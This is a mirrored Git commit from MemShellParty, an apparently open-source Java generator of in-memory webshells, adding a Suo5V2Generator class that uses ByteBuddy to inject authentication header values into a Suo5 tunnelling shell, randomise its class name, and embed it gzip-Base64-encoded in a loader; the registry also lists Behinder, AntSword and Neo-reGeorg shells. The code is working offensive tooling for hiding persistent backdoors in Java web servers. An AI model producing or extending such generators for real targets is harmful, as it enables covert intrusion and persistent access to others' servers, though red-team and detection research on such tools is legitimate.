mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: use Suo5V2Loader
This commit is contained in:
@@ -23,7 +23,7 @@ public class ShellToolFactory {
|
||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/12
|
||||
*/
|
||||
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||
|
||||
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||
super(shellConfig, suo5Config);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||
.redefine(Suo5v2.class)
|
||||
.name(CommonUtil.generateClassName())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||
.make()) {
|
||||
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||
}
|
||||
}
|
||||
}
|
||||
+33
-1050
File diff suppressed because it is too large
Load Diff
+47
-1061
File diff suppressed because it is too large
Load Diff
+34
-1048
File diff suppressed because it is too large
Load Diff
+37
-1072
File diff suppressed because it is too large
Load Diff
+35
-1044
File diff suppressed because it is too large
Load Diff
+34
-1049
File diff suppressed because it is too large
Load Diff
+33
-1045
File diff suppressed because it is too large
Load Diff
+40
-1049
File diff suppressed because it is too large
Load Diff
+35
-1045
File diff suppressed because it is too large
Load Diff
+34
-1050
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user